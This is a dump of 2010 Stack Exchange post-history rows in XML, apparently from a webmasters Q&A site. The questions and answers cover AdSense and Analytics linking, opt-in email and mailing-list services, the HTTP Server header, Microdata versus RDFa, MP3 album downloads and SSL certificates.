  <row Id="5541" PostHistoryTypeId="2" PostId="2849" RevisionGUID="42d4e1bb-c577-4280-982d-ba03ba85ca29" CreationDate="2010-09-07T10:55:50.780" UserId="233" Text="Have you selected your domain as the Primary domain? If you have multiple sites you will need to select a primary domain, then put a small bit of code on each of the other sites.&#xD;&#xA;&#xD;&#xA;To set the primary domain and get the required code, from Analytics home click the &quot;Edit AdSense linking settings&quot; link at the top of the page. First tick the sites you want to link. On the next step you can choose your primary domain, then get the code for the others.&#xD;&#xA;&#xD;&#xA;I don't remember if there are any other steps you need but I'll take a good look and update my answer if necessary." />
  <row Id="5542" PostHistoryTypeId="2" PostId="2850" RevisionGUID="3cfc1e8c-dd93-405d-bb7b-343301c5cf6e" CreationDate="2010-09-07T10:59:16.920" UserId="636" Text="While they may have been subscribers to &quot;his last startup&quot; - did they opt-in to receive e-mails from you? If they didn't, and/or they don't have a reasonable expectation that their e-mail addresses will be used for this new venture, it is spam. Just to get that out front.&#xD;&#xA;&#xD;&#xA;As to your problem, if you aren't going to run your own server, you may want to look at one of the many third-party services out there for sending bulk e-mail. With the anti-spam endevours currently out there, there isn't much you can do via your ISP's mail service that won't eventually get tagged as spam. (regardless of if it is or isn't)" />
  <row Id="5543" PostHistoryTypeId="4" PostId="2844" RevisionGUID="3e0483e8-c319-4f13-a1fe-e46c41c9e825" CreationDate="2010-09-07T11:24:04.590" UserId="1874" Comment="edited title" Text="Free bulletin board engine in Java,JSP(or JSF) " />
  <row Id="5544" PostHistoryTypeId="2" PostId="2851" RevisionGUID="0f22f784-e212-4240-9475-61dfad2d9672" CreationDate="2010-09-07T11:27:32.497" UserId="1857" Text="**IMHO sending emails to people who subscribed to a different startup is not okay.** You could perhaps send a single &quot;please opt in to our new venture&quot; email to all those addresses, but not more than that.&#xD;&#xA;&#xD;&#xA;You almost certainly want to look at mailing list handling services. Some examples (in random off the top of my head order):&#xD;&#xA;&#xD;&#xA; - [MailChimp][1]&#xD;&#xA; - [Campaign Monitor][2]&#xD;&#xA; - [AWeber][3]&#xD;&#xA; - [Newsberry][4]&#xD;&#xA;&#xD;&#xA;All of the above should offer to send the emails from servers with well curated relationships with major ISPs, and proper technical settings for SPF records, reverse DNS and what else is needed to not get flagged as spam right away. And they do of course include unsubscription handling, i.e. an unsubscribe link in the footer of all emails.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.MailChimp.com&#xD;&#xA;  [2]: http://www.campaignmonitor.com/&#xD;&#xA;  [3]: http://www.aweber.com/&#xD;&#xA;  [4]: http://newsberry.com/" />
  <row Id="5545" PostHistoryTypeId="5" PostId="2851" RevisionGUID="1a843799-6737-4019-bd5b-32eb08c33ca8" CreationDate="2010-09-07T11:36:51.233" UserId="1857" Comment="added 66 characters in body" Text="**IMHO sending emails to people who subscribed to a different startup is not okay.** You could perhaps send a single &quot;please opt in to our new venture&quot; email to all those addresses, but not more than that.&#xD;&#xA;&#xD;&#xA;You almost certainly want to look at mailing list handling services. Some examples (in random off the top of my head order):&#xD;&#xA;&#xD;&#xA; - [MailChimp][1]&#xD;&#xA; - [Campaign Monitor][2]&#xD;&#xA; - [AWeber][3]&#xD;&#xA; - [Newsberry][4]&#xD;&#xA;&#xD;&#xA;All of the above should offer to send the emails from servers with well curated relationships with major ISPs, and proper technical settings for SPF records, reverse DNS and what else is needed to not get flagged as spam right away. And they do of course have unsubscription handling, i.e. a simple way to place an unsubscribe link in the footer of all emails and have unsubscriptions handled automatically.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.MailChimp.com&#xD;&#xA;  [2]: http://www.campaignmonitor.com/&#xD;&#xA;  [3]: http://www.aweber.com/&#xD;&#xA;  [4]: http://newsberry.com/" />
  <row Id="5546" PostHistoryTypeId="5" PostId="2847" RevisionGUID="11e23797-12d0-4132-9668-f5294bdb1ff6" CreationDate="2010-09-07T13:42:28.287" UserId="19" Comment="edited body" Text="Such a list would not be overly useful as the viewport can vary greatly between users even with the same screen size because:&#xD;&#xA;&#xD;&#xA;1. They have different toolbars installed, and/or different settings for the default toolbars (large icons or small for instance)&#xD;&#xA;2. Some browser themes alter the heights of elements like toolbars&#xD;&#xA;3. Not everyone runs their browser maximized, so the browser's viewport could really be *any* size&#xD;&#xA;&#xD;&#xA;Also the range of screen sizes varies much more now than it used to. Long gone are the days when it was unusual to see much other than 800x600 or 1024x768. There are a number of common wide-screen formats and small-format screens (i.e. those on netbooks and smartphones) are increasingly likely to be used to view your pages.&#xD;&#xA;&#xD;&#xA;Rather than designing around the viewport of a selection of specific examples (IE8 default, FF3.6 defaults, FF3.6 default but no tabs...) you should design for a reasonably full range, making sure your page doesn't fall apart completely on small screens nor become to wide to be comfortable readable on large wide screens. This does mean that pixel perfect positioning is an ideal you need to let go of, but it makes your content usable in the widest possible combination of conditions." />
  <row Id="5547" PostHistoryTypeId="2" PostId="2852" RevisionGUID="60639d5d-b1a1-4797-8026-df0a10477e15" CreationDate="2010-09-07T14:15:25.623" UserId="1500" Text="I personally use WAMP since its so quick to setup. From there you could go many different directions. I have an account with http://www.dyndns.com to redirect to my home IP. I also use named based virtual hosting which is easy to setup if you take the time then I can use something like this for my clients http://projectname.something.getmyip.com which will redirect them to their project on my server.&#xD;&#xA;&#xD;&#xA;If you want to try this, I can give you some pointers to setup the WAMP instance.. &#xD;&#xA;&#xD;&#xA;If you'd rather host it elsewhere, any major site is probably as good as any other. You could go with godaddy, 1and1.com, etc... and get a cheap shared account for a couple bucks a month." />
  <row Id="5548" PostHistoryTypeId="2" PostId="2853" RevisionGUID="b7cca99a-d6c5-4ce2-b223-7f71a054d9e2" CreationDate="2010-09-07T14:48:17.153" UserId="172" Text="I found this free editor for CKEditor 3.x : [FileManager][1]. I has not been updated for some times though, and seems to have a few bugs. I found a [fork on github][2] that seems to fix some of them and adds quite a few localizations.&#xD;&#xA;&#xD;&#xA;  [1]: http://labs.corefive.com/Projects/FileManager/&#xD;&#xA;  [2]: http://github.com/simogeo/Filemanager" />
  <row Id="5549" PostHistoryTypeId="2" PostId="2854" RevisionGUID="baf78e93-eb63-49aa-b504-c54403277a8b" CreationDate="2010-09-07T14:56:56.927" UserId="233" Text="For example, when I dump the response header for my server I get:&#xD;&#xA;&#xD;&#xA;    Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g&#xD;&#xA;&#xD;&#xA;Is this used for anything? Is it a security risk (albeit small) broadcasting the server makeup?" />
  <row Id="5550" PostHistoryTypeId="1" PostId="2854" RevisionGUID="baf78e93-eb63-49aa-b504-c54403277a8b" CreationDate="2010-09-07T14:56:56.927" UserId="233" Text="Does the 'Server' header serve any purpose?" />
  <row Id="5551" PostHistoryTypeId="3" PostId="2854" RevisionGUID="baf78e93-eb63-49aa-b504-c54403277a8b" CreationDate="2010-09-07T14:56:56.927" UserId="233" Text="&lt;security&gt;&lt;http-headers&gt;" />
  <row Id="5552" PostHistoryTypeId="2" PostId="2855" RevisionGUID="a01037e9-4ce5-4a1e-8c3c-d27d174b3e4e" CreationDate="2010-09-07T15:38:10.340" UserId="24" Text="###[Symphony CMS](http://www.symphony-cms.com)&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA;  - Completely extensible CMS (Insanely flexible)&#xD;&#xA;  - Simplicity&#xD;&#xA;  - Treats any XML source as a first class citizen.&#xD;&#xA;  - Open Architecture (model your own content for you or your clients)&#xD;&#xA;  - Define your own URL schema&#xD;&#xA;  - Flexible Templating (you make your page and say where you want your content)&#xD;&#xA;  - Frontend debugging&#xD;&#xA;&#xD;&#xA;Weaknesses:&#xD;&#xA;&#xD;&#xA;  - Learning curve is especially steep especially if you don't know XSLT&#xD;&#xA;  - Doesn't have the variety of add-ons like other more popular CMS products (however it's decent)&#xD;&#xA;  - Doesn't even try to be a one click or quick setup - it's for making your custom CMS." />
  <row Id="5553" PostHistoryTypeId="16" PostId="2855" RevisionGUID="a01037e9-4ce5-4a1e-8c3c-d27d174b3e4e" CreationDate="2010-09-07T15:38:10.340" UserId="-1" />
  <row Id="5554" PostHistoryTypeId="2" PostId="2856" RevisionGUID="b6b165a6-3c9c-46b4-9454-bb0950818507" CreationDate="2010-09-07T16:21:58.047" UserId="1857" Text="No, it is not used for anything important. (Netcraft's surveys probably use it, as presumably do other 3rd party surveys.)&#xD;&#xA;&#xD;&#xA;Yes, it is a small security issue. Of course your server should be secured and up to date at all times, but having an extra layer of 'obscurity' can only help a little." />
  <row Id="5555" PostHistoryTypeId="5" PostId="2856" RevisionGUID="2c077a8c-704f-487f-b0f6-5bdf6f7175f8" CreationDate="2010-09-07T16:28:35.520" UserId="1857" Comment="added 480 characters in body; added 105 characters in body; added 96 characters in body" Text="**No, it is not used for anything important.** ([Netcraft's server market share surveys][1] probably use it, as presumably do other 3rd party surveys.)&#xD;&#xA;&#xD;&#xA;**Yes, it is a (very) small security issue.** Of course your server should be secured and up to date at all times, but having an extra layer of 'obscurity' on top of a well secured server is only beneficial. If nothing else, if an attacker needs to undertake extensive '[fingerprinting][2]' before attacking, then you might get some early warning of an attack if you monitor your logfiles closely.&#xD;&#xA;&#xD;&#xA;You can [safely disable the &quot;Server:&quot; header if you want to][3]. On the other hand, it isn't a big deal, and if you're on a shared server where you cannot change this, then don't sweat it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.netcraft.com/archives/2010/08/11/august-2010-web-server-survey-4.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting&#xD;&#xA;  [3]: http://httpd.apache.org/docs/current/mod/core.html#servertokens" />
  <row Id="5556" PostHistoryTypeId="5" PostId="2856" RevisionGUID="f000fd9b-6d32-415e-8e3a-a0a274ef6722" CreationDate="2010-09-07T16:40:07.640" UserId="1857" Comment="added 43 characters in body; deleted 3 characters in body" Text="**No, it is not used for anything important.** ([Netcraft's server market share surveys][1] probably use it, as presumably do other 3rd party surveys.)&#xD;&#xA;&#xD;&#xA;**Yes, it is a (very) small security issue.** Of course your server should be secured and up to date at all times, but having an extra layer of 'obscurity' on top of a well secured server is only beneficial. If nothing else, if an attacker needs to undertake extensive '[fingerprinting][2]' before attacking, then you might get some early warning of an attack if you monitor your logfiles closely.&#xD;&#xA;&#xD;&#xA;You can [safely turn down the level of detail being broadcasted if you want to][3]. On the other hand, it isn't a big deal, and if you're on a shared server where you cannot change this, then don't sweat it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.netcraft.com/archives/2010/08/11/august-2010-web-server-survey-4.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/TCP/IP_stack_fingerprinting&#xD;&#xA;  [3]: http://serverfault.com/questions/110452/changing-apaches-servertokens-with-no-effect" />
  <row Id="5557" PostHistoryTypeId="2" PostId="2857" RevisionGUID="dec8c04f-5291-43e3-a1c0-d88ac95cd243" CreationDate="2010-09-07T16:46:13.687" UserId="1074" Text="Agreed with the guys above, opt in is opt in for a specific purpose.  You need to be very careful about what and how you send...it can be a very expensive mistake if you don't follow all CANN-SPAM regs.&#xD;&#xA;&#xD;&#xA;But to answer your email question, there are hosted STMP relays that you can purchase access to such as SocketLabs and SMTP.com.  I prefer these to a MailChimp if I'm going to be doing something proprietary and repetitively.  I've had great success re-selling email marketing via Interspire's Email marketer combined with either SocketLabs or my own Co-Lo'ed server doing the routing.&#xD;&#xA;&#xD;&#xA;Throttling (which is what you describe) is something my company uses to ensure the big three (AOL, Gmail, MSN/Hotmail) don't peg you as a spammer right off the bat...it could be 40% of your list, believe it or not.  I would refrain from using it to &quot;trick&quot; the server hosts, as they'll eventually catch on and the result usually isn't very much fun." />
  <row Id="5561" PostHistoryTypeId="2" PostId="2859" RevisionGUID="89c371d4-5ce2-42db-87d4-151fb5a956c8" CreationDate="2010-09-07T18:23:31.410" UserId="1881" Text="I've made a Facebook app, a small cardgame, wich works with the Facebook iframe option.&#xD;&#xA;&#xD;&#xA;My question is: is it allowed to put advertisements on the original page where the iframe links to, so it appears in the facebook app? Are there any limitations? Wich advertising companies allow this? (I've heard Adsense aint to fond of it...)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5562" PostHistoryTypeId="1" PostId="2859" RevisionGUID="89c371d4-5ce2-42db-87d4-151fb5a956c8" CreationDate="2010-09-07T18:23:31.410" UserId="1881" Text="Putting ads on Facebook, iframe" />
  <row Id="5563" PostHistoryTypeId="3" PostId="2859" RevisionGUID="89c371d4-5ce2-42db-87d4-151fb5a956c8" CreationDate="2010-09-07T18:23:31.410" UserId="1881" Text="&lt;advertising&gt;&lt;facebook&gt;&lt;iframe&gt;" />
  <row Id="5564" PostHistoryTypeId="2" PostId="2860" RevisionGUID="c9f01cf0-6b3c-4439-b505-f34f9d49843b" CreationDate="2010-09-07T19:08:47.950" UserId="1017" Text="I am wondering whether to use Microdata or RFDa to mark information for search engines on my Webapplication. Google supports and has documentation for both. But i was not able to find a summary comparing both formats and giving suggestion on which one to use." />
  <row Id="5565" PostHistoryTypeId="1" PostId="2860" RevisionGUID="c9f01cf0-6b3c-4439-b505-f34f9d49843b" CreationDate="2010-09-07T19:08:47.950" UserId="1017" Text="Microdata vs RFDa" />
  <row Id="5566" PostHistoryTypeId="3" PostId="2860" RevisionGUID="c9f01cf0-6b3c-4439-b505-f34f9d49843b" CreationDate="2010-09-07T19:08:47.950" UserId="1017" Text="&lt;seo&gt;" />
  <row Id="5567" PostHistoryTypeId="6" PostId="2860" RevisionGUID="0931e2fa-a758-4c3b-b49c-26dbe974c040" CreationDate="2010-09-07T19:18:46.727" UserId="1253" Comment="edited tags; edited tags" Text="&lt;seo&gt;&lt;rdfa&gt;&lt;microdata&gt;&lt;microformats&gt;" />
  <row Id="5568" PostHistoryTypeId="2" PostId="2861" RevisionGUID="08fb3b58-6577-4113-827d-05ab72d8f8e2" CreationDate="2010-09-07T19:25:27.547" UserId="1253" Text="[Google seems to prefer microdata][1] but also seems to [imply they support them all][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=176035&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="5569" PostHistoryTypeId="16" PostId="2844" RevisionGUID="3eb88b15-8f03-44bb-84a8-9db914bfed98" CreationDate="2010-09-07T19:36:14.233" UserId="180" />
  <row Id="5570" PostHistoryTypeId="19" PostId="182" RevisionGUID="189e3733-5546-473e-a176-c01a74c43b85" CreationDate="2010-09-07T19:37:04.230" UserId="180" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="5571" PostHistoryTypeId="16" PostId="2840" RevisionGUID="4da61d3b-38ca-482d-83c3-44754651f17d" CreationDate="2010-09-07T19:38:35.820" UserId="180" />
  <row Id="5573" PostHistoryTypeId="5" PostId="2861" RevisionGUID="8cb90dcd-2524-4b1c-9273-70804c20e364" CreationDate="2010-09-07T19:54:57.293" UserId="1253" Comment="added 10 characters in body" Text="&lt;s&gt;[Google seems to prefer microdata][1] but also seems to&lt;/s&gt; It seems [they support them all][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=176035&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="5574" PostHistoryTypeId="2" PostId="2862" RevisionGUID="8094629a-0632-4a5a-94e0-2a6dc3e409c5" CreationDate="2010-09-07T20:08:11.613" UserId="180" Text="Choosing which one is better for you is (IMO) somewhat subjective.  Here are a couple factors that may help you to make an informed decision:&#xD;&#xA;&#xD;&#xA;- RDFa is problematic for non-XHTML web pages (though [support appears to be emerging][1]), and has a bit of a learning curve when dealing with nested entities (see the [Google example for Address][2])&#xD;&#xA;&#xD;&#xA;- Facebook's [Open Graph Protocol][3] is RDFa-based &#xD;&#xA;&#xD;&#xA;There are likely other factors specific to your situation...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/rdfa-in-html/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=146898&#xD;&#xA;  [3]: http://opengraphprotocol.org/" />
  <row Id="5575" PostHistoryTypeId="16" PostId="2801" RevisionGUID="8c8d53df-946f-47e3-b571-a3d0bf687f33" CreationDate="2010-09-07T20:11:03.063" UserId="180" />
  <row Id="5576" PostHistoryTypeId="16" PostId="2829" RevisionGUID="5017384a-d359-40fe-8ca5-f1e06f724311" CreationDate="2010-09-07T20:12:38.913" UserId="180" />
  <row Id="5577" PostHistoryTypeId="16" PostId="2818" RevisionGUID="3c110beb-7f6c-4535-967a-90c6a2e1e97f" CreationDate="2010-09-07T20:13:20.740" UserId="180" />
  <row Id="5578" PostHistoryTypeId="16" PostId="2797" RevisionGUID="494cbddf-2402-4e65-a31a-40e793ae8c14" CreationDate="2010-09-07T20:15:32.907" UserId="180" />
  <row Id="5579" PostHistoryTypeId="2" PostId="2863" RevisionGUID="0ef9ffe2-3183-4a61-9673-5a0c5ad22b97" CreationDate="2010-09-07T22:40:32.880" UserId="1885" Text="I want to offer a full length album as a free digital download.  I can easily throw the MP3 files up on a webserver and put a link to it.  I've [used this method][1] before and it works ok.  Savvy users know what to do with it:&#xD;&#xA;&#xD;&#xA; 1. Right click each MP3 link and save them to your desktop or downloads folder&#xD;&#xA; 2. Drag them all into iTunes and let it copy them into its database&#xD;&#xA; 3. Delete the originals&#xD;&#xA;&#xD;&#xA;My worry is that most users just click them, and their browser loads them and plays them.  I want to streamline the user-interaction experience and optimize it for &quot;download the whole album into my iTunes library.&quot;  Posting the entire thing as a ZIP file is slightly better, but not by much.&#xD;&#xA;&#xD;&#xA;Does anyone know of examples of other sites that have done this really well?  Any other ideas or tips for how to package this?  Disk Image?  M3U file?  Platform-specific scripting?&#xD;&#xA;&#xD;&#xA;  [1]: http://kitchenmusic.com/album.php" />
  <row Id="5580" PostHistoryTypeId="1" PostId="2863" RevisionGUID="0ef9ffe2-3183-4a61-9673-5a0c5ad22b97" CreationDate="2010-09-07T22:40:32.880" UserId="1885" Text="What is the ideal user-interaction for full album download as MP3s?" />
  <row Id="5581" PostHistoryTypeId="3" PostId="2863" RevisionGUID="0ef9ffe2-3183-4a61-9673-5a0c5ad22b97" CreationDate="2010-09-07T22:40:32.880" UserId="1885" Text="&lt;usability&gt;" />
  <row Id="5582" PostHistoryTypeId="2" PostId="2864" RevisionGUID="d35d603d-0916-4eb1-a91d-b231aa297e7a" CreationDate="2010-09-07T22:45:53.697" UserId="138" Text="To force downloading instead of opening the file, add the following to your HTTP headers when downloading:&#xD;&#xA;&#xD;&#xA;`Content-Disposition: attachment; filename=&quot;track1.mp3&quot;`&#xD;&#xA;&#xD;&#xA;And any well behaved browser won't try to open the file. That said, another option is to just throw them all into a ZIP file with no compression (as MP3s don't compress inside a ZIP anyway) and then they don't need to download all the invididual files. The time taken to unzip (which is why you use a ZIP with no compression, which makes this step much much faster) is going to be about equal to the time taken to download all the files, but with much less clicking involved." />
  <row Id="5583" PostHistoryTypeId="2" PostId="2865" RevisionGUID="a62a020b-7412-4b4c-be3f-0eb4039fbf83" CreationDate="2010-09-07T22:49:27.823" UserId="1885" Text="[Public Key Infrastructure][1] depends on a [Trusted Third Party][2] that will verify and then can endorse your identitiy.&#xD;&#xA;&#xD;&#xA;When you pay a major certificate authority like Verisign for a certificate, you are paying for their reputation as a reputable and trusted third party that can endorse the validity of your identity and your certificate.  From a practical standpoint, that means that major browsers come pre-configured to trust certificates signed by those authorities.&#xD;&#xA;&#xD;&#xA;I can create a certificate for you for free, but it will be relatively worthless, because nobody knows who I am and so my endorsement doesn't give them any confidence.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Public_key_infrastructure&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Trusted_third_party" />
  <row Id="5584" PostHistoryTypeId="2" PostId="2866" RevisionGUID="6ccefb50-8b77-405e-977b-727ad7ad009c" CreationDate="2010-09-07T22:51:41.673" UserId="1762" Text="Can I target the window title with Javascript and have it update based on certain events?" />
  <row Id="5585" PostHistoryTypeId="1" PostId="2866" RevisionGUID="6ccefb50-8b77-405e-977b-727ad7ad009c" CreationDate="2010-09-07T22:51:41.673" UserId="1762" Text="Updating browser window title with Javascript" />
  <row Id="5586" PostHistoryTypeId="3" PostId="2866" RevisionGUID="6ccefb50-8b77-405e-977b-727ad7ad009c" CreationDate="2010-09-07T22:51:41.673" UserId="1762" Text="&lt;javascript&gt;&lt;browsers&gt;" />
  <row Id="5587" PostHistoryTypeId="10" PostId="2866" RevisionGUID="9991a612-3929-4d05-8e5a-f75658770cf0" CreationDate="2010-09-07T23:04:29.230" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="5588" PostHistoryTypeId="2" PostId="2867" RevisionGUID="6d3fdc93-c7ae-424c-b0ff-185e0d3aac5d" CreationDate="2010-09-07T23:26:28.093" UserId="310" Text="I keep getting this email with $100 coupon from Google AdWords that doesn't explain much what is it for and what can I do with it. Is it something worthy or as usual? What should I do with it?" />
  <row Id="5589" PostHistoryTypeId="1" PostId="2867" RevisionGUID="6d3fdc93-c7ae-424c-b0ff-185e0d3aac5d" CreationDate="2010-09-07T23:26:28.093" UserId="310" Text="$100 coupon from Google AdWords - how to put it for the best use?" />
  <row Id="5590" PostHistoryTypeId="3" PostId="2867" RevisionGUID="6d3fdc93-c7ae-424c-b0ff-185e0d3aac5d" CreationDate="2010-09-07T23:26:28.093" UserId="310" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="5591" PostHistoryTypeId="2" PostId="2868" RevisionGUID="61abc7bd-8bfa-4cfc-b498-940d692657c0" CreationDate="2010-09-07T23:32:27.497" UserId="1857" Text="Either:&#xD;&#xA;&#xD;&#xA; - A platform-specific &quot;smart client&quot; (this has many names) such as a downloaded Adobe Flex desktop client, or a Silverlight &quot;Out-of-Browser&quot; local client&#xD;&#xA;&#xD;&#xA;**OR,** more likely&#xD;&#xA;&#xD;&#xA; - A single zip file for each album, with a folder structure in the zip, i.e. something like: `.\artist-name\album-name\&lt;individual files&gt;` ; where the individual file names are on the form `&lt;tracknumber&gt; - Title` ; and with an MP3 playlist for the album in each album directory.&#xD;&#xA;&#xD;&#xA;The zip file is of course way easier to implement..." />
  <row Id="5592" PostHistoryTypeId="2" PostId="2869" RevisionGUID="d372ed0b-db4c-48ea-9d9f-1e68df8a3dce" CreationDate="2010-09-08T01:12:08.050" UserDisplayName="delete" Text="By a coincidence I received one of these yesterday too (not by email though, I got an actual printed coupon with a number on it).&#xD;&#xA;&#xD;&#xA;If you read the small print, it says that if you go over the advertising budget, then they start charging you for the advertising. Also the coupon is not transferable.&#xD;&#xA;&#xD;&#xA;My intention is to put the coupon in the waste paper basket.&#xD;&#xA;" />
  <row Id="5593" PostHistoryTypeId="2" PostId="2870" RevisionGUID="311add97-118e-43ea-a705-94739b40c83e" CreationDate="2010-09-08T01:21:39.993" UserDisplayName="delete" Text="&gt; I've posted it once to the adsense ad&#xD;&#xA;&gt; forum, but as usual Google does not&#xD;&#xA;&gt; respond to help requests, and I got no&#xD;&#xA;&gt; real answers.&#xD;&#xA;&#xD;&#xA;Google are pathetic at interacting with human beings. If anything brings that company down, I suspect it will be that.&#xD;&#xA;&#xD;&#xA;&gt; I am having issues integrating my&#xD;&#xA;&gt; Adsense and Analytics accounts. The&#xD;&#xA;&gt; accounts seem integrated from Adsense&#xD;&#xA;&gt; (I get a working &quot;go to analytics&quot;&#xD;&#xA;&gt; link), but all the analytics are&#xD;&#xA;&gt; flatlined - they show zero revenues&#xD;&#xA;&gt; although they are non-zero.&#xD;&#xA;&#xD;&#xA;The first thing to check is that the ID at the top of your page is the right one. You should have a bit of text which looks like this:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;    window.google_analytics_uacct = &quot;UA-ABCDEFGH-J&quot;;&#xD;&#xA;    &lt;/script&gt; &#xD;&#xA;&#xD;&#xA;where `ABCDEFGH-J` is the number that Google gave you. You can check it's the right one using the &quot;Analytics Settings&quot; page of Google Analytics. If this number is wrong then the integration will not work correctly. Then at the bottom of the page there should be something like this:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;    var gaJsHost = ((&quot;https:&quot; == document.location.protocol) ? &quot;https://ssl.&quot; : &quot;http://www.&quot;);&#xD;&#xA;    document.write(unescape(&quot;%3Cscript src='&quot; + gaJsHost + &quot;google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E&quot;));&#xD;&#xA;    &lt;/script&gt; &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;    try {&#xD;&#xA;    var pageTracker = _gat._getTracker(&quot;UA-ABCDEFGH-J&quot;);&#xD;&#xA;    pageTracker._trackPageview();&#xD;&#xA;    } catch(err) {}&lt;/script&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5594" PostHistoryTypeId="2" PostId="2871" RevisionGUID="000ea61b-d817-4ea4-8ec1-0457f2e51245" CreationDate="2010-09-08T01:46:24.380" UserId="359" Text="Yes, you're allowed to run your own advertisements within your application on Facebook, but you have to follow their rules.&#xD;&#xA;&#xD;&#xA;There are too many to repost here -- you should just read their Developer Policy: http://developers.facebook.com/policy/&#xD;&#xA;&#xD;&#xA;Specifically, the sections on Advertising and Advertising Guidelines:&#xD;&#xA;http://developers.facebook.com/docs/guides/policy/advertisements&#xD;&#xA;http://www.facebook.com/ad_guidelines.php" />
  <row Id="5595" PostHistoryTypeId="2" PostId="2872" RevisionGUID="e4360271-c4e3-455c-8f1a-4b18a7e5afcd" CreationDate="2010-09-08T03:04:55.620" UserId="576" Text="Try the [Zoho Challenge Quiz Maker][1]. You can embed the quizzes you create there in your website&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoho.com/challenge/quiz-maker.html" />
  <row Id="5596" PostHistoryTypeId="16" PostId="2872" RevisionGUID="e4360271-c4e3-455c-8f1a-4b18a7e5afcd" CreationDate="2010-09-08T03:04:55.620" UserId="-1" />
  <row Id="5597" PostHistoryTypeId="2" PostId="2873" RevisionGUID="b56b381d-fc30-4d2a-acbd-e92091c17751" CreationDate="2010-09-08T03:18:05.280" UserId="359" Text="There are a number of 3rd parties that help manage and optimize advertising on your website:&#xD;&#xA;&#xD;&#xA; - [Pubmatic.com][1]&#xD;&#xA; - [YieldBuild.com][2]&#xD;&#xA; - [RubiconProject.com][3]&#xD;&#xA; - [Admeld.com][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pubmatic.com&#xD;&#xA;  [2]: http://www.yieldbuild.com&#xD;&#xA;  [3]: http://www.rubiconproject.com&#xD;&#xA;  [4]: http://www.admeld.com" />
  <row Id="5598" PostHistoryTypeId="5" PostId="2871" RevisionGUID="883b6004-2986-48a2-a68a-7e3bd3f1e6f9" CreationDate="2010-09-08T03:25:41.400" UserId="359" Comment="Making some of the URLs hyperlinks." Text="Yes, you're allowed to run your own advertisements within your application on Facebook, but you have to follow their rules.&#xD;&#xA;&#xD;&#xA;There are too many to repost here -- you should just read their Developer Policy: [http://developers.facebook.com/policy/][1]&#xD;&#xA;&#xD;&#xA;Specifically, the sections on Advertising and Advertising Guidelines:&#xD;&#xA;[http://developers.facebook.com/docs/guides/policy/advertisements][2]&#xD;&#xA;[http://www.facebook.com/ad_guidelines.php][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/policy/&#xD;&#xA;  [2]: http://developers.facebook.com/docs/guides/policy/advertisements&#xD;&#xA;  [3]: http://www.facebook.com/ad_guidelines.php" />
  <row Id="5601" PostHistoryTypeId="5" PostId="2842" RevisionGUID="95f640cf-d466-4867-822c-57bdd137a1a5" CreationDate="2010-09-08T05:55:50.293" UserDisplayName="delete" Comment="spelling " Text="What makes me come back to a website? Simple. Did I find what I was looking for?&#xD;&#xA;&#xD;&#xA;I don't give a toss if it's got RSS or AJAX or is HTML5 compliant. I don't care if it has streaming media, I don't care if supports OpenID (although a well-thought-out registration process is a huge bonus, but a topic for another day). And I absolutally despise URL shorteners.&#xD;&#xA;&#xD;&#xA;You need to focus on your content before worrying about **anything** else. There were thousands of website that disappeared during the dot-com boom that looked great and were swishy, but disappeared overnight because they didn't have the content that people were looking for.&#xD;&#xA;&#xD;&#xA;Don't misjudge your market. Your users aren't stupid and are most likely not going to be wowed by nice graphics and fancy CSS and cross-browser compatibility if what they're looking for isn't there." />
  <row Id="5602" PostHistoryTypeId="2" PostId="2874" RevisionGUID="62b52f0c-b9f5-4942-b383-f5ffb60d99fb" CreationDate="2010-09-08T06:21:52.397" UserId="1034" Text="Have a look at [Wikipedia][1] for a good comparison of SSL services. It looks like [startcom][2] has a free SSL cert service which is recognized by IE, FF and Safari.&#xD;&#xA;&#xD;&#xA;I suspect there are other similar services around. The main issue is to find providers which are supported by modern browsers. Having a browser warn the user that the certificate is not reliable is worse than not having a certificate at all, from the POV of conversion &amp; sales. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Comparison_of_SSL_certificates_for_web_servers &quot;wikipedia&quot;&#xD;&#xA;  [2]: http://www.startcom.org/" />
